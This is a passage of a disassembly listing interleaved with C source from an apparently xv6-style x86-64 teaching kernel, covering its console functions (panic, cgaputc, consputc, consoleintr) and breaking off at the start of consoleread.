ffff800000100bc1: 89 85 38 ff ff ff mov %eax,-0xc8(%rbp)
ffff800000100bc7: 83 bd 38 ff ff ff 00 cmpl $0x0,-0xc8(%rbp)
ffff800000100bce: 0f 85 2f fd ff ff jne ffff800000100903 <cprintf+0xeb>
ffff800000100bd4: eb 01 jmp ffff800000100bd7 <cprintf+0x3bf>
break;
ffff800000100bd6: 90 nop
}
}
if (locking)
ffff800000100bd7: 83 bd 3c ff ff ff 00 cmpl $0x0,-0xc4(%rbp)
ffff800000100bde: 74 16 je ffff800000100bf6 <cprintf+0x3de>
release(&cons.lock);
ffff800000100be0: 48 bf c0 34 11 00 00 movabs $0xffff8000001134c0,%rdi
ffff800000100be7: 80 ff ff
ffff800000100bea: 48 b8 fa 78 10 00 00 movabs $0xffff8000001078fa,%rax
ffff800000100bf1: 80 ff ff
ffff800000100bf4: ff d0 callq *%rax
}
ffff800000100bf6: 90 nop
ffff800000100bf7: c9 leaveq
ffff800000100bf8: c3 retq
ffff800000100bf9 <panic>:
__attribute__((noreturn))
void
panic(char *s)
{
ffff800000100bf9: f3 0f 1e fa endbr64
ffff800000100bfd: 55 push %rbp
ffff800000100bfe: 48 89 e5 mov %rsp,%rbp
ffff800000100c01: 48 83 ec 70 sub $0x70,%rsp
ffff800000100c05: 48 89 7d 98 mov %rdi,-0x68(%rbp)
int i;
addr_t pcs[10];
cli();
ffff800000100c09: 48 b8 66 06 10 00 00 movabs $0xffff800000100666,%rax
ffff800000100c10: 80 ff ff
ffff800000100c13: ff d0 callq *%rax
cons.locking = 0;
ffff800000100c15: 48 b8 c0 34 11 00 00 movabs $0xffff8000001134c0,%rax
ffff800000100c1c: 80 ff ff
ffff800000100c1f: c7 40 68 00 00 00 00 movl $0x0,0x68(%rax)
cprintf("cpu%d: panic: ", cpu->id);
ffff800000100c26: 48 c7 c0 f0 ff ff ff mov $0xfffffffffffffff0,%rax
ffff800000100c2d: 64 48 8b 00 mov %fs:(%rax),%rax
ffff800000100c31: 0f b6 00 movzbl (%rax),%eax
ffff800000100c34: 0f b6 c0 movzbl %al,%eax
ffff800000100c37: 89 c6 mov %eax,%esi
ffff800000100c39: 48 bf f5 c4 10 00 00 movabs $0xffff80000010c4f5,%rdi
ffff800000100c40: 80 ff ff
ffff800000100c43: b8 00 00 00 00 mov $0x0,%eax
ffff800000100c48: 48 ba 18 08 10 00 00 movabs $0xffff800000100818,%rdx
ffff800000100c4f: 80 ff ff
ffff800000100c52: ff d2 callq *%rdx
cprintf(s);
ffff800000100c54: 48 8b 45 98 mov -0x68(%rbp),%rax
ffff800000100c58: 48 89 c7 mov %rax,%rdi
ffff800000100c5b: b8 00 00 00 00 mov $0x0,%eax
ffff800000100c60: 48 ba 18 08 10 00 00 movabs $0xffff800000100818,%rdx
ffff800000100c67: 80 ff ff
ffff800000100c6a: ff d2 callq *%rdx
cprintf("\n");
ffff800000100c6c: 48 bf 04 c5 10 00 00 movabs $0xffff80000010c504,%rdi
ffff800000100c73: 80 ff ff
ffff800000100c76: b8 00 00 00 00 mov $0x0,%eax
ffff800000100c7b: 48 ba 18 08 10 00 00 movabs $0xffff800000100818,%rdx
ffff800000100c82: 80 ff ff
ffff800000100c85: ff d2 callq *%rdx
getcallerpcs(&s, pcs);
ffff800000100c87: 48 8d 55 a0 lea -0x60(%rbp),%rdx
ffff800000100c8b: 48 8d 45 98 lea -0x68(%rbp),%rax
ffff800000100c8f: 48 89 d6 mov %rdx,%rsi
ffff800000100c92: 48 89 c7 mov %rax,%rdi
ffff800000100c95: 48 b8 6f 79 10 00 00 movabs $0xffff80000010796f,%rax
ffff800000100c9c: 80 ff ff
ffff800000100c9f: ff d0 callq *%rax
for (i=0; i<10; i++)
ffff800000100ca1: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%rbp)
ffff800000100ca8: eb 2c jmp ffff800000100cd6 <panic+0xdd>
cprintf(" %p\n", pcs[i]);
ffff800000100caa: 8b 45 fc mov -0x4(%rbp),%eax
ffff800000100cad: 48 98 cltq
ffff800000100caf: 48 8b 44 c5 a0 mov -0x60(%rbp,%rax,8),%rax
ffff800000100cb4: 48 89 c6 mov %rax,%rsi
ffff800000100cb7: 48 bf 06 c5 10 00 00 movabs $0xffff80000010c506,%rdi
ffff800000100cbe: 80 ff ff
ffff800000100cc1: b8 00 00 00 00 mov $0x0,%eax
ffff800000100cc6: 48 ba 18 08 10 00 00 movabs $0xffff800000100818,%rdx
ffff800000100ccd: 80 ff ff
ffff800000100cd0: ff d2 callq *%rdx
for (i=0; i<10; i++)
ffff800000100cd2: 83 45 fc 01 addl $0x1,-0x4(%rbp)
ffff800000100cd6: 83 7d fc 09 cmpl $0x9,-0x4(%rbp)
ffff800000100cda: 7e ce jle ffff800000100caa <panic+0xb1>
panicked = 1; // freeze other CPU
ffff800000100cdc: 48 b8 b8 34 11 00 00 movabs $0xffff8000001134b8,%rax
ffff800000100ce3: 80 ff ff
ffff800000100ce6: c7 00 01 00 00 00 movl $0x1,(%rax)
for (;;)
hlt();
ffff800000100cec: 48 b8 72 06 10 00 00 movabs $0xffff800000100672,%rax
ffff800000100cf3: 80 ff ff
ffff800000100cf6: ff d0 callq *%rax
ffff800000100cf8: eb f2 jmp ffff800000100cec <panic+0xf3>
ffff800000100cfa <cgaputc>:
#define CRTPORT 0x3d4
static ushort *crt = (ushort*)P2V(0xb8000); // CGA memory
static void
cgaputc(int c)
{
ffff800000100cfa: f3 0f 1e fa endbr64
ffff800000100cfe: 55 push %rbp
ffff800000100cff: 48 89 e5 mov %rsp,%rbp
ffff800000100d02: 48 83 ec 20 sub $0x20,%rsp
ffff800000100d06: 89 7d ec mov %edi,-0x14(%rbp)
int pos;
// Cursor position: col + 80*row.
outb(CRTPORT, 14);
ffff800000100d09: be 0e 00 00 00 mov $0xe,%esi
ffff800000100d0e: bf d4 03 00 00 mov $0x3d4,%edi
ffff800000100d13: 48 b8 e6 05 10 00 00 movabs $0xffff8000001005e6,%rax
ffff800000100d1a: 80 ff ff
ffff800000100d1d: ff d0 callq *%rax
pos = inb(CRTPORT+1) << 8;
ffff800000100d1f: bf d5 03 00 00 mov $0x3d5,%edi
ffff800000100d24: 48 b8 c4 05 10 00 00 movabs $0xffff8000001005c4,%rax
ffff800000100d2b: 80 ff ff
ffff800000100d2e: ff d0 callq *%rax
ffff800000100d30: 0f b6 c0 movzbl %al,%eax
ffff800000100d33: c1 e0 08 shl $0x8,%eax
ffff800000100d36: 89 45 fc mov %eax,-0x4(%rbp)
outb(CRTPORT, 15);
ffff800000100d39: be 0f 00 00 00 mov $0xf,%esi
ffff800000100d3e: bf d4 03 00 00 mov $0x3d4,%edi
ffff800000100d43: 48 b8 e6 05 10 00 00 movabs $0xffff8000001005e6,%rax
ffff800000100d4a: 80 ff ff
ffff800000100d4d: ff d0 callq *%rax
pos |= inb(CRTPORT+1);
ffff800000100d4f: bf d5 03 00 00 mov $0x3d5,%edi
ffff800000100d54: 48 b8 c4 05 10 00 00 movabs $0xffff8000001005c4,%rax
ffff800000100d5b: 80 ff ff
ffff800000100d5e: ff d0 callq *%rax
ffff800000100d60: 0f b6 c0 movzbl %al,%eax
ffff800000100d63: 09 45 fc or %eax,-0x4(%rbp)
if (c == '\n')
ffff800000100d66: 83 7d ec 0a cmpl $0xa,-0x14(%rbp)
ffff800000100d6a: 75 37 jne ffff800000100da3 <cgaputc+0xa9>
pos += 80 - pos%80;
ffff800000100d6c: 8b 4d fc mov -0x4(%rbp),%ecx
ffff800000100d6f: 48 63 c1 movslq %ecx,%rax
ffff800000100d72: 48 69 c0 67 66 66 66 imul $0x66666667,%rax,%rax
ffff800000100d79: 48 c1 e8 20 shr $0x20,%rax
ffff800000100d7d: 89 c2 mov %eax,%edx
ffff800000100d7f: c1 fa 05 sar $0x5,%edx
ffff800000100d82: 89 c8 mov %ecx,%eax
ffff800000100d84: c1 f8 1f sar $0x1f,%eax
ffff800000100d87: 29 c2 sub %eax,%edx
ffff800000100d89: 89 d0 mov %edx,%eax
ffff800000100d8b: c1 e0 02 shl $0x2,%eax
ffff800000100d8e: 01 d0 add %edx,%eax
ffff800000100d90: c1 e0 04 shl $0x4,%eax
ffff800000100d93: 29 c1 sub %eax,%ecx
ffff800000100d95: 89 ca mov %ecx,%edx
ffff800000100d97: b8 50 00 00 00 mov $0x50,%eax
ffff800000100d9c: 29 d0 sub %edx,%eax
ffff800000100d9e: 01 45 fc add %eax,-0x4(%rbp)
ffff800000100da1: eb 43 jmp ffff800000100de6 <cgaputc+0xec>
else if (c == BACKSPACE) {
ffff800000100da3: 81 7d ec 00 01 00 00 cmpl $0x100,-0x14(%rbp)
ffff800000100daa: 75 0c jne ffff800000100db8 <cgaputc+0xbe>
if (pos > 0) --pos;
ffff800000100dac: 83 7d fc 00 cmpl $0x0,-0x4(%rbp)
ffff800000100db0: 7e 34 jle ffff800000100de6 <cgaputc+0xec>
ffff800000100db2: 83 6d fc 01 subl $0x1,-0x4(%rbp)
ffff800000100db6: eb 2e jmp ffff800000100de6 <cgaputc+0xec>
} else
crt[pos++] = (c&0xff) | 0x0700; // black on white
ffff800000100db8: 8b 45 ec mov -0x14(%rbp),%eax
ffff800000100dbb: 0f b6 c0 movzbl %al,%eax
ffff800000100dbe: 80 cc 07 or $0x7,%ah
ffff800000100dc1: 89 c6 mov %eax,%esi
ffff800000100dc3: 48 b8 18 d0 10 00 00 movabs $0xffff80000010d018,%rax
ffff800000100dca: 80 ff ff
ffff800000100dcd: 48 8b 08 mov (%rax),%rcx
ffff800000100dd0: 8b 45 fc mov -0x4(%rbp),%eax
ffff800000100dd3: 8d 50 01 lea 0x1(%rax),%edx
ffff800000100dd6: 89 55 fc mov %edx,-0x4(%rbp)
ffff800000100dd9: 48 98 cltq
ffff800000100ddb: 48 01 c0 add %rax,%rax
ffff800000100dde: 48 01 c8 add %rcx,%rax
ffff800000100de1: 89 f2 mov %esi,%edx
ffff800000100de3: 66 89 10 mov %dx,(%rax)
if ((pos/80) >= 24){ // Scroll up.
ffff800000100de6: 81 7d fc 7f 07 00 00 cmpl $0x77f,-0x4(%rbp)
ffff800000100ded: 7e 76 jle ffff800000100e65 <cgaputc+0x16b>
memmove(crt, crt+80, sizeof(crt[0])*23*80);
ffff800000100def: 48 b8 18 d0 10 00 00 movabs $0xffff80000010d018,%rax
ffff800000100df6: 80 ff ff
ffff800000100df9: 48 8b 00 mov (%rax),%rax
ffff800000100dfc: 48 8d 88 a0 00 00 00 lea 0xa0(%rax),%rcx
ffff800000100e03: 48 b8 18 d0 10 00 00 movabs $0xffff80000010d018,%rax
ffff800000100e0a: 80 ff ff
ffff800000100e0d: 48 8b 00 mov (%rax),%rax
ffff800000100e10: ba 60 0e 00 00 mov $0xe60,%edx
ffff800000100e15: 48 89 ce mov %rcx,%rsi
ffff800000100e18: 48 89 c7 mov %rax,%rdi
ffff800000100e1b: 48 b8 10 7d 10 00 00 movabs $0xffff800000107d10,%rax
ffff800000100e22: 80 ff ff
ffff800000100e25: ff d0 callq *%rax
pos -= 80;
ffff800000100e27: 83 6d fc 50 subl $0x50,-0x4(%rbp)
memset(crt+pos, 0, sizeof(crt[0])*(24*80 - pos));
ffff800000100e2b: b8 80 07 00 00 mov $0x780,%eax
ffff800000100e30: 2b 45 fc sub -0x4(%rbp),%eax
ffff800000100e33: 48 98 cltq
ffff800000100e35: 8d 14 00 lea (%rax,%rax,1),%edx
ffff800000100e38: 48 b8 18 d0 10 00 00 movabs $0xffff80000010d018,%rax
ffff800000100e3f: 80 ff ff
ffff800000100e42: 48 8b 00 mov (%rax),%rax
ffff800000100e45: 8b 4d fc mov -0x4(%rbp),%ecx
ffff800000100e48: 48 63 c9 movslq %ecx,%rcx
ffff800000100e4b: 48 01 c9 add %rcx,%rcx
ffff800000100e4e: 48 01 c8 add %rcx,%rax
ffff800000100e51: be 00 00 00 00 mov $0x0,%esi
ffff800000100e56: 48 89 c7 mov %rax,%rdi
ffff800000100e59: 48 b8 03 7c 10 00 00 movabs $0xffff800000107c03,%rax
ffff800000100e60: 80 ff ff
ffff800000100e63: ff d0 callq *%rax
}
outb(CRTPORT, 14);
ffff800000100e65: be 0e 00 00 00 mov $0xe,%esi
ffff800000100e6a: bf d4 03 00 00 mov $0x3d4,%edi
ffff800000100e6f: 48 b8 e6 05 10 00 00 movabs $0xffff8000001005e6,%rax
ffff800000100e76: 80 ff ff
ffff800000100e79: ff d0 callq *%rax
outb(CRTPORT+1, pos>>8);
ffff800000100e7b: 8b 45 fc mov -0x4(%rbp),%eax
ffff800000100e7e: c1 f8 08 sar $0x8,%eax
ffff800000100e81: 0f b6 c0 movzbl %al,%eax
ffff800000100e84: 89 c6 mov %eax,%esi
ffff800000100e86: bf d5 03 00 00 mov $0x3d5,%edi
ffff800000100e8b: 48 b8 e6 05 10 00 00 movabs $0xffff8000001005e6,%rax
ffff800000100e92: 80 ff ff
ffff800000100e95: ff d0 callq *%rax
outb(CRTPORT, 15);
ffff800000100e97: be 0f 00 00 00 mov $0xf,%esi
ffff800000100e9c: bf d4 03 00 00 mov $0x3d4,%edi
ffff800000100ea1: 48 b8 e6 05 10 00 00 movabs $0xffff8000001005e6,%rax
ffff800000100ea8: 80 ff ff
ffff800000100eab: ff d0 callq *%rax
outb(CRTPORT+1, pos);
ffff800000100ead: 8b 45 fc mov -0x4(%rbp),%eax
ffff800000100eb0: 0f b6 c0 movzbl %al,%eax
ffff800000100eb3: 89 c6 mov %eax,%esi
ffff800000100eb5: bf d5 03 00 00 mov $0x3d5,%edi
ffff800000100eba: 48 b8 e6 05 10 00 00 movabs $0xffff8000001005e6,%rax
ffff800000100ec1: 80 ff ff
ffff800000100ec4: ff d0 callq *%rax
crt[pos] = ' ' | 0x0700;
ffff800000100ec6: 48 b8 18 d0 10 00 00 movabs $0xffff80000010d018,%rax
ffff800000100ecd: 80 ff ff
ffff800000100ed0: 48 8b 00 mov (%rax),%rax
ffff800000100ed3: 8b 55 fc mov -0x4(%rbp),%edx
ffff800000100ed6: 48 63 d2 movslq %edx,%rdx
ffff800000100ed9: 48 01 d2 add %rdx,%rdx
ffff800000100edc: 48 01 d0 add %rdx,%rax
ffff800000100edf: 66 c7 00 20 07 movw $0x720,(%rax)
}
ffff800000100ee4: 90 nop
ffff800000100ee5: c9 leaveq
ffff800000100ee6: c3 retq
ffff800000100ee7 <consputc>:
void
consputc(int c)
{
ffff800000100ee7: f3 0f 1e fa endbr64
ffff800000100eeb: 55 push %rbp
ffff800000100eec: 48 89 e5 mov %rsp,%rbp
ffff800000100eef: 48 83 ec 10 sub $0x10,%rsp
ffff800000100ef3: 89 7d fc mov %edi,-0x4(%rbp)
if (panicked) {
ffff800000100ef6: 48 b8 b8 34 11 00 00 movabs $0xffff8000001134b8,%rax
ffff800000100efd: 80 ff ff
ffff800000100f00: 8b 00 mov (%rax),%eax
ffff800000100f02: 85 c0 test %eax,%eax
ffff800000100f04: 74 1a je ffff800000100f20 <consputc+0x39>
cli();
ffff800000100f06: 48 b8 66 06 10 00 00 movabs $0xffff800000100666,%rax
ffff800000100f0d: 80 ff ff
ffff800000100f10: ff d0 callq *%rax
for(;;)
hlt();
ffff800000100f12: 48 b8 72 06 10 00 00 movabs $0xffff800000100672,%rax
ffff800000100f19: 80 ff ff
ffff800000100f1c: ff d0 callq *%rax
ffff800000100f1e: eb f2 jmp ffff800000100f12 <consputc+0x2b>
}
if (c == BACKSPACE) {
ffff800000100f20: 81 7d fc 00 01 00 00 cmpl $0x100,-0x4(%rbp)
ffff800000100f27: 75 35 jne ffff800000100f5e <consputc+0x77>
uartputc('\b'); uartputc(' '); uartputc('\b');
ffff800000100f29: bf 08 00 00 00 mov $0x8,%edi
ffff800000100f2e: 48 b8 5a a1 10 00 00 movabs $0xffff80000010a15a,%rax
ffff800000100f35: 80 ff ff
ffff800000100f38: ff d0 callq *%rax
ffff800000100f3a: bf 20 00 00 00 mov $0x20,%edi
ffff800000100f3f: 48 b8 5a a1 10 00 00 movabs $0xffff80000010a15a,%rax
ffff800000100f46: 80 ff ff
ffff800000100f49: ff d0 callq *%rax
ffff800000100f4b: bf 08 00 00 00 mov $0x8,%edi
ffff800000100f50: 48 b8 5a a1 10 00 00 movabs $0xffff80000010a15a,%rax
ffff800000100f57: 80 ff ff
ffff800000100f5a: ff d0 callq *%rax
ffff800000100f5c: eb 11 jmp ffff800000100f6f <consputc+0x88>
} else
uartputc(c);
ffff800000100f5e: 8b 45 fc mov -0x4(%rbp),%eax
ffff800000100f61: 89 c7 mov %eax,%edi
ffff800000100f63: 48 b8 5a a1 10 00 00 movabs $0xffff80000010a15a,%rax
ffff800000100f6a: 80 ff ff
ffff800000100f6d: ff d0 callq *%rax
cgaputc(c);
ffff800000100f6f: 8b 45 fc mov -0x4(%rbp),%eax
ffff800000100f72: 89 c7 mov %eax,%edi
ffff800000100f74: 48 b8 fa 0c 10 00 00 movabs $0xffff800000100cfa,%rax
ffff800000100f7b: 80 ff ff
ffff800000100f7e: ff d0 callq *%rax
}
ffff800000100f80: 90 nop
ffff800000100f81: c9 leaveq
ffff800000100f82: c3 retq
ffff800000100f83 <consoleintr>:
#define C(x) ((x)-'@') // Control-x
void
consoleintr(int (*getc)(void))
{
ffff800000100f83: f3 0f 1e fa endbr64
ffff800000100f87: 55 push %rbp
ffff800000100f88: 48 89 e5 mov %rsp,%rbp
ffff800000100f8b: 48 83 ec 20 sub $0x20,%rsp
ffff800000100f8f: 48 89 7d e8 mov %rdi,-0x18(%rbp)
int c;
acquire(&input.lock);
ffff800000100f93: 48 bf c0 33 11 00 00 movabs $0xffff8000001133c0,%rdi
ffff800000100f9a: 80 ff ff
ffff800000100f9d: 48 b8 5d 78 10 00 00 movabs $0xffff80000010785d,%rax
ffff800000100fa4: 80 ff ff
ffff800000100fa7: ff d0 callq *%rax
while((c = getc()) >= 0){
ffff800000100fa9: e9 6a 02 00 00 jmpq ffff800000101218 <consoleintr+0x295>
switch(c){
ffff800000100fae: 83 7d fc 7f cmpl $0x7f,-0x4(%rbp)
ffff800000100fb2: 0f 84 fd 00 00 00 je ffff8000001010b5 <consoleintr+0x132>
ffff800000100fb8: 83 7d fc 7f cmpl $0x7f,-0x4(%rbp)
ffff800000100fbc: 0f 8f 54 01 00 00 jg ffff800000101116 <consoleintr+0x193>
ffff800000100fc2: 83 7d fc 1a cmpl $0x1a,-0x4(%rbp)
ffff800000100fc6: 74 2f je ffff800000100ff7 <consoleintr+0x74>
ffff800000100fc8: 83 7d fc 1a cmpl $0x1a,-0x4(%rbp)
ffff800000100fcc: 0f 8f 44 01 00 00 jg ffff800000101116 <consoleintr+0x193>
ffff800000100fd2: 83 7d fc 15 cmpl $0x15,-0x4(%rbp)
ffff800000100fd6: 74 7f je ffff800000101057 <consoleintr+0xd4>
ffff800000100fd8: 83 7d fc 15 cmpl $0x15,-0x4(%rbp)
ffff800000100fdc: 0f 8f 34 01 00 00 jg ffff800000101116 <consoleintr+0x193>
ffff800000100fe2: 83 7d fc 08 cmpl $0x8,-0x4(%rbp)
ffff800000100fe6: 0f 84 c9 00 00 00 je ffff8000001010b5 <consoleintr+0x132>
ffff800000100fec: 83 7d fc 10 cmpl $0x10,-0x4(%rbp)
ffff800000100ff0: 74 20 je ffff800000101012 <consoleintr+0x8f>
ffff800000100ff2: e9 1f 01 00 00 jmpq ffff800000101116 <consoleintr+0x193>
case C('Z'): // reboot
lidt(0,0);
ffff800000100ff7: be 00 00 00 00 mov $0x0,%esi
ffff800000100ffc: bf 00 00 00 00 mov $0x0,%edi
ffff800000101001: 48 b8 0b 06 10 00 00 movabs $0xffff80000010060b,%rax
ffff800000101008: 80 ff ff
ffff80000010100b: ff d0 callq *%rax
break;
ffff80000010100d: e9 06 02 00 00 jmpq ffff800000101218 <consoleintr+0x295>
case C('P'): // Process listing.
procdump();
ffff800000101012: 48 b8 bf 74 10 00 00 movabs $0xffff8000001074bf,%rax
ffff800000101019: 80 ff ff
ffff80000010101c: ff d0 callq *%rax
break;
ffff80000010101e: e9 f5 01 00 00 jmpq ffff800000101218 <consoleintr+0x295>
case C('U'): // Kill line.
while(input.e != input.w &&
input.buf[(input.e-1) % INPUT_BUF] != '\n'){
input.e--;
ffff800000101023: 48 b8 c0 33 11 00 00 movabs $0xffff8000001133c0,%rax
ffff80000010102a: 80 ff ff
ffff80000010102d: 8b 80 f0 00 00 00 mov 0xf0(%rax),%eax
ffff800000101033: 8d 50 ff lea -0x1(%rax),%edx
ffff800000101036: 48 b8 c0 33 11 00 00 movabs $0xffff8000001133c0,%rax
ffff80000010103d: 80 ff ff
ffff800000101040: 89 90 f0 00 00 00 mov %edx,0xf0(%rax)
consputc(BACKSPACE);
ffff800000101046: bf 00 01 00 00 mov $0x100,%edi
ffff80000010104b: 48 b8 e7 0e 10 00 00 movabs $0xffff800000100ee7,%rax
ffff800000101052: 80 ff ff
ffff800000101055: ff d0 callq *%rax
while(input.e != input.w &&
ffff800000101057: 48 b8 c0 33 11 00 00 movabs $0xffff8000001133c0,%rax
ffff80000010105e: 80 ff ff
ffff800000101061: 8b 90 f0 00 00 00 mov 0xf0(%rax),%edx
ffff800000101067: 48 b8 c0 33 11 00 00 movabs $0xffff8000001133c0,%rax
ffff80000010106e: 80 ff ff
ffff800000101071: 8b 80 ec 00 00 00 mov 0xec(%rax),%eax
ffff800000101077: 39 c2 cmp %eax,%edx
ffff800000101079: 0f 84 99 01 00 00 je ffff800000101218 <consoleintr+0x295>
input.buf[(input.e-1) % INPUT_BUF] != '\n'){
ffff80000010107f: 48 b8 c0 33 11 00 00 movabs $0xffff8000001133c0,%rax
ffff800000101086: 80 ff ff
ffff800000101089: 8b 80 f0 00 00 00 mov 0xf0(%rax),%eax
ffff80000010108f: 83 e8 01 sub $0x1,%eax
ffff800000101092: 83 e0 7f and $0x7f,%eax
ffff800000101095: 89 c2 mov %eax,%edx
ffff800000101097: 48 b8 c0 33 11 00 00 movabs $0xffff8000001133c0,%rax
ffff80000010109e: 80 ff ff
ffff8000001010a1: 89 d2 mov %edx,%edx
ffff8000001010a3: 0f b6 44 10 68 movzbl 0x68(%rax,%rdx,1),%eax
while(input.e != input.w &&
ffff8000001010a8: 3c 0a cmp $0xa,%al
ffff8000001010aa: 0f 85 73 ff ff ff jne ffff800000101023 <consoleintr+0xa0>
}
break;
ffff8000001010b0: e9 63 01 00 00 jmpq ffff800000101218 <consoleintr+0x295>
case C('H'): case '\x7f': // Backspace
if (input.e != input.w) {
ffff8000001010b5: 48 b8 c0 33 11 00 00 movabs $0xffff8000001133c0,%rax
ffff8000001010bc: 80 ff ff
ffff8000001010bf: 8b 90 f0 00 00 00 mov 0xf0(%rax),%edx
ffff8000001010c5: 48 b8 c0 33 11 00 00 movabs $0xffff8000001133c0,%rax
ffff8000001010cc: 80 ff ff
ffff8000001010cf: 8b 80 ec 00 00 00 mov 0xec(%rax),%eax
ffff8000001010d5: 39 c2 cmp %eax,%edx
ffff8000001010d7: 0f 84 3b 01 00 00 je ffff800000101218 <consoleintr+0x295>
input.e--;
ffff8000001010dd: 48 b8 c0 33 11 00 00 movabs $0xffff8000001133c0,%rax
ffff8000001010e4: 80 ff ff
ffff8000001010e7: 8b 80 f0 00 00 00 mov 0xf0(%rax),%eax
ffff8000001010ed: 8d 50 ff lea -0x1(%rax),%edx
ffff8000001010f0: 48 b8 c0 33 11 00 00 movabs $0xffff8000001133c0,%rax
ffff8000001010f7: 80 ff ff
ffff8000001010fa: 89 90 f0 00 00 00 mov %edx,0xf0(%rax)
consputc(BACKSPACE);
ffff800000101100: bf 00 01 00 00 mov $0x100,%edi
ffff800000101105: 48 b8 e7 0e 10 00 00 movabs $0xffff800000100ee7,%rax
ffff80000010110c: 80 ff ff
ffff80000010110f: ff d0 callq *%rax
}
break;
ffff800000101111: e9 02 01 00 00 jmpq ffff800000101218 <consoleintr+0x295>
default:
if (c != 0 && input.e-input.r < INPUT_BUF) {
ffff800000101116: 83 7d fc 00 cmpl $0x0,-0x4(%rbp)
ffff80000010111a: 0f 84 f7 00 00 00 je ffff800000101217 <consoleintr+0x294>
ffff800000101120: 48 b8 c0 33 11 00 00 movabs $0xffff8000001133c0,%rax
ffff800000101127: 80 ff ff
ffff80000010112a: 8b 90 f0 00 00 00 mov 0xf0(%rax),%edx
ffff800000101130: 48 b8 c0 33 11 00 00 movabs $0xffff8000001133c0,%rax
ffff800000101137: 80 ff ff
ffff80000010113a: 8b 80 e8 00 00 00 mov 0xe8(%rax),%eax
ffff800000101140: 29 c2 sub %eax,%edx
ffff800000101142: 89 d0 mov %edx,%eax
ffff800000101144: 83 f8 7f cmp $0x7f,%eax
ffff800000101147: 0f 87 ca 00 00 00 ja ffff800000101217 <consoleintr+0x294>
c = (c == '\r') ? '\n' : c;
ffff80000010114d: 83 7d fc 0d cmpl $0xd,-0x4(%rbp)
ffff800000101151: 74 05 je ffff800000101158 <consoleintr+0x1d5>
ffff800000101153: 8b 45 fc mov -0x4(%rbp),%eax
ffff800000101156: eb 05 jmp ffff80000010115d <consoleintr+0x1da>
ffff800000101158: b8 0a 00 00 00 mov $0xa,%eax
ffff80000010115d: 89 45 fc mov %eax,-0x4(%rbp)
input.buf[input.e++ % INPUT_BUF] = c;
ffff800000101160: 48 b8 c0 33 11 00 00 movabs $0xffff8000001133c0,%rax
ffff800000101167: 80 ff ff
ffff80000010116a: 8b 80 f0 00 00 00 mov 0xf0(%rax),%eax
ffff800000101170: 8d 50 01 lea 0x1(%rax),%edx
ffff800000101173: 48 b9 c0 33 11 00 00 movabs $0xffff8000001133c0,%rcx
ffff80000010117a: 80 ff ff
ffff80000010117d: 89 91 f0 00 00 00 mov %edx,0xf0(%rcx)
ffff800000101183: 83 e0 7f and $0x7f,%eax
ffff800000101186: 89 c2 mov %eax,%edx
ffff800000101188: 8b 45 fc mov -0x4(%rbp),%eax
ffff80000010118b: 89 c1 mov %eax,%ecx
ffff80000010118d: 48 b8 c0 33 11 00 00 movabs $0xffff8000001133c0,%rax
ffff800000101194: 80 ff ff
ffff800000101197: 89 d2 mov %edx,%edx
ffff800000101199: 88 4c 10 68 mov %cl,0x68(%rax,%rdx,1)
consputc(c);
ffff80000010119d: 8b 45 fc mov -0x4(%rbp),%eax
ffff8000001011a0: 89 c7 mov %eax,%edi
ffff8000001011a2: 48 b8 e7 0e 10 00 00 movabs $0xffff800000100ee7,%rax
ffff8000001011a9: 80 ff ff
ffff8000001011ac: ff d0 callq *%rax
if (c == '\n' || c == C('D') || input.e == input.r+INPUT_BUF) {
ffff8000001011ae: 83 7d fc 0a cmpl $0xa,-0x4(%rbp)
ffff8000001011b2: 74 2d je ffff8000001011e1 <consoleintr+0x25e>
ffff8000001011b4: 83 7d fc 04 cmpl $0x4,-0x4(%rbp)
ffff8000001011b8: 74 27 je ffff8000001011e1 <consoleintr+0x25e>
ffff8000001011ba: 48 b8 c0 33 11 00 00 movabs $0xffff8000001133c0,%rax
ffff8000001011c1: 80 ff ff
ffff8000001011c4: 8b 80 f0 00 00 00 mov 0xf0(%rax),%eax
ffff8000001011ca: 48 ba c0 33 11 00 00 movabs $0xffff8000001133c0,%rdx
ffff8000001011d1: 80 ff ff
ffff8000001011d4: 8b 92 e8 00 00 00 mov 0xe8(%rdx),%edx
ffff8000001011da: 83 ea 80 sub $0xffffff80,%edx
ffff8000001011dd: 39 d0 cmp %edx,%eax
ffff8000001011df: 75 36 jne ffff800000101217 <consoleintr+0x294>
input.w = input.e;
ffff8000001011e1: 48 b8 c0 33 11 00 00 movabs $0xffff8000001133c0,%rax
ffff8000001011e8: 80 ff ff
ffff8000001011eb: 8b 80 f0 00 00 00 mov 0xf0(%rax),%eax
ffff8000001011f1: 48 ba c0 33 11 00 00 movabs $0xffff8000001133c0,%rdx
ffff8000001011f8: 80 ff ff
ffff8000001011fb: 89 82 ec 00 00 00 mov %eax,0xec(%rdx)
wakeup(&input.r);
ffff800000101201: 48 bf a8 34 11 00 00 movabs $0xffff8000001134a8,%rdi
ffff800000101208: 80 ff ff
ffff80000010120b: 48 b8 b8 73 10 00 00 movabs $0xffff8000001073b8,%rax
ffff800000101212: 80 ff ff
ffff800000101215: ff d0 callq *%rax
}
}
break;
ffff800000101217: 90 nop
while((c = getc()) >= 0){
ffff800000101218: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff80000010121c: ff d0 callq *%rax
ffff80000010121e: 89 45 fc mov %eax,-0x4(%rbp)
ffff800000101221: 83 7d fc 00 cmpl $0x0,-0x4(%rbp)
ffff800000101225: 0f 89 83 fd ff ff jns ffff800000100fae <consoleintr+0x2b>
}
}
release(&input.lock);
ffff80000010122b: 48 bf c0 33 11 00 00 movabs $0xffff8000001133c0,%rdi
ffff800000101232: 80 ff ff
ffff800000101235: 48 b8 fa 78 10 00 00 movabs $0xffff8000001078fa,%rax
ffff80000010123c: 80 ff ff
ffff80000010123f: ff d0 callq *%rax
}
ffff800000101241: 90 nop
ffff800000101242: c9 leaveq
ffff800000101243: c3 retq
ffff800000101244 <consoleread>:
int
consoleread(struct inode *ip, uint off, char *dst, int n)
{
ffff800000101244: f3 0f 1e fa endbr64
ffff800000101248: 55 push %rbp
ffff800000101249: 48 89 e5 mov %rsp,%rbp
ffff80000010124c: 48 83 ec 30 sub $0x30,%rsp
ffff800000101250: 48 89 7d e8 mov %rdi,-0x18(%rbp)
ffff800000101254: 89 75 e4 mov %esi,-0x1c(%rbp)
ffff800000101257: 48 89 55 d8 mov %rdx,-0x28(%rbp)
ffff80000010125b: 89 4d e0 mov %ecx,-0x20(%rbp)
uint target;
int c;
iunlock(ip);
ffff80000010125e: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000101262: 48 89 c7 mov %rax,%rdi
